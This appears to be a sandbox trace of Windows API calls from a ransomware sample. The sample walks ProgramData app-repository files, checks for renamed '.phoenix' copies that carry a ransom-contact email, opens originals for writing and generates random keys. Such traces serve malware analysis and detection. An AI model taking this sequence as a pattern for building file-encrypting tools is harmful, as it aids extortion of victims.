	[0230.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.355] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.355] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.355] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.369] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.369] CloseHandle (hObject=0x2f0) returned 1
	[0230.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.369] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.423] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0230.423] CloseHandle (hObject=0x2f0) returned 1
	[0230.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.424] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.424] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.424] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.426] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.426] CloseHandle (hObject=0x2f0) returned 1
	[0230.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.426] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.428] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.428] CloseHandle (hObject=0x2f0) returned 1
	[0230.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.428] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.429] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.429] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.430] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0230.430] CloseHandle (hObject=0x2f0) returned 1
	[0230.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.431] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.432] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.432] CloseHandle (hObject=0x2f0) returned 1
	[0230.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.433] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.434] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.434] CloseHandle (hObject=0x2f0) returned 1
	[0230.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.435] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.435] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.436] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0230.436] CloseHandle (hObject=0x2f0) returned 1
	[0230.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.436] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.437] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.437] CloseHandle (hObject=0x2f0) returned 1
	[0230.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.438] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.438] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.438] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.439] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.439] CloseHandle (hObject=0x2f0) returned 1
	[0230.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.439] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.440] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.440] CloseHandle (hObject=0x2f0) returned 1
	[0230.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.441] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.442] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.442] CloseHandle (hObject=0x2f0) returned 1
	[0230.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
